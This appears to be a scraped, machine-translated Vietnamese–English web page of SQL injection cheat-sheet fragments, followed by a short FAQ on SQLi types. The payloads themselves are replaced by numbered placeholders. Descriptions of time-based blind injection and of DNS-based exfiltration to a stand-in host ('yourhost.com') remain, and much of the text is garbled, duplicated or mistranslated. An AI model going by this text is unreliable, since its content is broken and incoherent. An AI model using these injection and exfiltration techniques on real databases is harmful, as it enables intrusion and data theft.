    MD5 Hashing
  • Thêm Ghi chú MySQL
    SHA1 Hashing
  • -- 69
  • -- 70
  • Truy vấn phụ chỉ hoạt động của MySQL 4.1+
    Compress data, can be great in large binary reading in Blind SQL Injections.
  • -- 72
  • -- 73
  • Người dùng
    Same as -- 75

Hàm udf

Byte đầu tiên của quản trị viên băm

Đọc tài liệu
Email :-- 77

Dữ liệu tải MySQL Infile & NBSP;

Theo mặc định, nó không có sẵn!

Thêm thời gian trong mysql

-- 65 Dữ liệu hóa, lực lượng vũ phu đoán
-- 78

Các chức năng MySQL có khả năng hữu ích

________ 167 & nbsp; MD5 băm

________ 168 & nbsp; sha1 băm

  • ________ 171 & nbsp; Dữ liệu nén, có thể rất tuyệt trong việc đọc nhị phân lớn trong tiêm SQL mù.
    Makes DNS resolution request to {INJECT}.yourhost.com
  • ________ 174 & nbsp; giống như & nbsp; ________ 175
    Makes DNS resolution request to {INJECTION}.yourhost.com

    ProductID = ________ 132

ProductID = ________ 133

  • ProductID = ________ 134
    Makes a NBNS query request/DNS resolution request to yourhost.com

  • Điểm chuẩn () (m)
    Writes data to your shared folder/file

    ProductID = ________ 132

ProductID = ________ 133

  • ProductID = ________ 134
    Sniffer application will save results

  • Điểm chuẩn () (m)
    Results will be saved in HTTP access logs

  • Về cơ bản, chúng tôi đang lạm dụng lệnh này để làm cho MySQL chờ đợi một chút. Hãy cẩn thận, bạn sẽ tiêu thụ giới hạn máy chủ web quá nhanh!
    You need to sniff dns resolution requests to yourhost.com

  • Chúng ta có root không? woot! & nbsp; ________ 136
    You need to sniff dns resolution requests to yourhost.com

    ProductID = ________ 132

ProductID = ________ 133

ProductID = ________ 134Điểm chuẩn () (m)
Về cơ bản, chúng tôi đang lạm dụng lệnh này để làm cho MySQL chờ đợi một chút. Hãy cẩn thận, bạn sẽ tiêu thụ giới hạn máy chủ web quá nhanh!6.5.1
Chúng ta có root không? woot! & nbsp; ________ 1366.5.1
Bảng kiểm tra tồn tại trong mysql & nbsp; ________ 137pg_s ngủ (giây) (p)
Ngủ trong vài giây được cung cấp.89
-- 38S ngủ 10 giây.66
Ngủ (giây) (M)19
-- 39S ngủ 10 giây.{Tiêm} = bạn muốn chạy truy vấn.
Nếu điều kiện là đúng, sẽ phản hồi sau 10 giây. Nếu là sai, sẽ bị trì hoãn trong một giây.
Cơ sở 10 (phê bình)
Thời gian 10 (phê bình)
Thời gian 10 (phê bình)
Thời gian
Thuộc về môi trường

SQLI dựa trên lỗi là gì?

SQLI dựa trên lỗi là một kỹ thuật tiêm SQL trong băng tần dựa trên các thông báo lỗi được ném bởi máy chủ cơ sở dữ liệu để có được thông tin về cấu trúc của cơ sở dữ liệu. Trong một số trường hợp, chỉ riêng SQL tiêm dựa trên lỗi là đủ để kẻ tấn công liệt kê toàn bộ cơ sở dữ liệu.an in-band SQL Injection technique that relies on error messages thrown by the database server to obtain information about the structure of the database. In some cases, error-based SQL injection alone is enough for an attacker to enumerate an entire database.

Là ba loại chính của các loại tấn công SQLI?

Tiêm SQL thường thuộc ba loại: SQLI trong ban nhạc (cổ điển), SQLI suy luận (mù) và SQLI ngoài dải.Bạn có thể phân loại các loại tiêm SQL dựa trên các phương pháp họ sử dụng để truy cập dữ liệu phụ trợ và tiềm năng thiệt hại của chúng.In-band SQLi (Classic), Inferential SQLi (Blind) and Out-of-band SQLi. You can classify SQL injections types based on the methods they use to access backend data and their damage potential.

Điều gì xảy ra trong một cuộc tấn công SQLI?

Các cuộc tấn công tiêm SQL cho phép kẻ tấn công nhận dạng giả mạo, giả mạo dữ liệu hiện có, gây ra các vấn đề thoái thác như vô hiệu hóa giao dịch hoặc thay đổi số dư, cho phép tiết lộ hoàn toàn tất cả dữ liệu trên hệ thống, phá hủy dữ liệu hoặc không có sẵn và trở thành quản trị viên củamáy chủ cơ sở dữ liệu.

5 loại tiêm SQL là gì?

Các loại tiêm SQL:..
SQL tiêm dựa trên lỗi:.
Làm thế nào để phát hiện lỗi SQL dựa trên lỗi ?.
Truy vấn dựa trên công đoàn:.
SQLI mù.1. SQLI dựa trên SQLI:- SQLI dựa trên thời gian: SQLI giảm thiểu: Giảm thiểu tốt nhất:.